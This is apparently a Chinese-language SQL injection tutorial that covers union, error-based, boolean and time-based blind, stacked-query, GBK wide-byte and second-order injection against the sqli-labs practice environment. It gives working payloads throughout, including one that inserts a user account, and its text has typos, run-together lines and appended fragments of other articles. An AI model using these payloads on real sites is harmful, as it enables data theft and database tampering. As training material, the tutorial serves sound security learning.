聯合查詢
報錯注入
布林盲注
時間盲注
堆疊查詢
寬位元組注入
二次注入
結語當程式設計師在編寫sql語言時直接將使用者的輸入與sql語言進行連線,並且沒有對使用者的輸入進行足夠的過濾,使得使用者可以通過注入惡意的sql語句,從而修改資料庫中的原有資訊,獲得**的webshell,以及產生後門等一系列惡意操作。
基本注入方式
注入的條件
沒有對應條件的解決辦法
聯合查詢
頁面有回顯
下一方法
報錯注入
頁面有報錯
下一方法
布林盲注
頁面有布林型別狀態
下一方法
時間盲注
頁面無前三種狀態絕招
基本注入方式
注入條件
堆疊查詢
開啟多語句查詢
寬位元組注入
mysql使用gbk編碼
二次注入
特殊情況下
(以下playload可以在sqli-labs中實現)
1.判斷屬於字元型還是數字型閉合
使用 ?id=1』
如果數字1出現在報錯資訊中則為字元型(如果?id=1』後面出現雙引號(『』1』」),則為雙引號閉合。如果出現單引號(『1』』),則為單引號閉合)。
如果1沒有出現,則為數字型閉合。
2.判斷字段個數column(聯合查詢)
閉合前一條sql語句,使用order by(按字段數進行排序)判斷列數。
例如:
?id=
1』 order by 1--+
?id=
1』 order by 4
--+
當輸入的數字大於欄位數時,系統就會報出錯誤(unknown column)。
3.閉合前後的sql語句
1)使用第一步中測試出的引號來閉合前面的sql語句。
例如單引號閉合: ?id=1』
2)對於後面的語句就使用注釋來進行閉合。
常見的注釋語句:
1)–+
2)#3)/* … */
或者使用閉合單引號的方法來閉合後面的sql語句:
例如
// palyload:
?id=
404' or '
1'='
1
4.判斷注入顯示位置
palyload: ?id=-1』 union select 1,2,3–+
檢視頁面中數字出現的位置,即為注入顯示的位置。
聯合查詢使用union 操作符合併兩個或多個 select 語句的結果集。union 內部的 select 語句必須擁有相同數量的列,列也必須擁有相似的資料型別。同時,每條select語句中的列的順序必須相同。此外聯合查詢的兩條結果,系統預設只顯示第一條,所以需要將第一條sql語句置為假,才會顯示第二條語句的內容。
例:playload: ?id=-1』 union select 1,user(),version()–+常見的報錯注入:或者 ?id=1』 and 1=2 union select 1,user(),version() --+
updatexml報錯(xpath報錯):
playload: ?id=1』 and updatexml(1,concat(0x7e,(select version()),0x7e),1)–+floor報錯
palyload:?id=1』 and(select 1 from(select count(*),concat((select(select(select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+extractvalue報錯(xpath報錯)
palyload:?id=1』 and extractvalue(1,concat(0x7e,(select @@version),0x7e))布林盲注常用函式:
substr:字串擷取函式。substr(str,start,length).判斷資料庫長度ascii(char):將字串轉換成ascii碼。
palyload: ?id=1』 and length(database())=8 --+猜測資料庫名的第一位
(第二位為database(),2,1 以此類推)
palyload:?id=1』 and ascii(substr(database(),1,1))=115 --+時間盲注常用函式:
if(cond,ture_result,flase_result):cond為判斷條件,ture_result為真時返回的結果,false_result為假時返回的結果。通常使用if配合ascii,substr函式來實現時間盲注
判斷閉合型別
palyload: ?id=1』 and sleep(5) --+猜測資料庫名第一位(為』閉合時延時5s,否則沒有)
更改』為」,測試是否為」注入,結果與上面相同。
palyload: ?id=1』 and if(ascii(substr(database(),1,1))=115,sleep(5),2)–+猜測第二位為(database(),2,1)以此類推(猜測版本的第一位是否為s,如果正常則返回sleep(5),使得介面延時5s。反正則不會。)
根據上述palyload,可以猜測其他資訊。
我們知道在mysql中,主要是命令列中,每一條語句結尾加上 ;
當目標開啟了多語句查詢時,可以使用堆疊查詢:
試想一下我們在 ; 結束乙個sql語句後繼續構造下一條語句,會不會一起執行?因此這個想法也就造就了堆疊注入。
而union injection(聯合查詢)也是將兩條語句合併在一起,兩者之間有什麼區別麼?
區別就在於union 或者union all執行的語句型別是有限的,可以用來執行查詢語句,而堆疊注入可以執行的是任意的語句。
例如:插入使用者:
palyload: ?1』 ; insert into users(id,username,password) values(『11』,『11』,『11』) --+原理:mysql 在使用 gbk 編碼的時候,會認為兩個字元為乙個漢字,例如%aa%5c 就是乙個漢字(前乙個 ascii 碼大於 128 才能到漢字的範圍)。我們在過濾 』 的時候,往往利用的思路是將 『 轉換為 \』。
因此我們在此想辦法將 『 前面新增的 \ 除掉,一般有兩種思路:
1)%df 吃掉 \
例如 urlencode(『) = %5c%27,我們在%5c%27 前面新增%df,形成%df%5c%27,而上面提到的 mysql 在 gbk 編碼方式的時候會將兩個位元組當做乙個漢字,此時%df%5c 就是乙個漢字,%27 則作為乙個單獨的符號在外面,同時也就達到了我們的目的。
2)將 \』 中的 \ 過濾掉,例如可以構造 %**%5c%5c%27 的情況,後面的%5c 會被前面的%5c給注釋掉。這也是 bypass 的一種方法。
例:palyload : ?id=-1%df%27 union select 1,user(),3–+二次注入是指輸入提交的語句,無法直接對 web 應用程式產生影響,而是先注入到資料庫中,再通過讀取資料庫的操作對 web 產生危害,這樣的注入就被稱為是二次注入。二次注入較為複雜這裡不進行詳細介紹。
sql注入基礎
mysqli 轉義字串函式 mysqli real escape string db,string mysqli 預編譯 拼裝sql語句 把要進行的操作的sql語句提前寫好,把需要改變的元素變成佔位符 select id,username from user where user name and ...
SQL注入基礎
最為經典的單引號判斷法 在引數後面加上單引號,比如 abc.php?id 1 如果頁面返回錯誤,則存在 sql 注入。原因是無論字元型還是整型都會因為單引號個數不匹配而報錯。如果未報錯,不代表不存在 sql 注入,因為有可能頁面對單引號做了過濾,這時可以使用判斷語句進行注入。其實所有的型別都是根據資...
SQL注入基礎
為了堅持而堅持,是撐不了多久的。sql注入就是指web應用程式對使用者輸入資料的合法性沒有判斷,前端傳入後端的引數是攻擊者可控的,並且引數代入資料庫查詢,攻擊者通過把sql命令插入到web表單提交或輸入網域名稱或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的sql命令。sql注入漏洞的產生要滿足兩...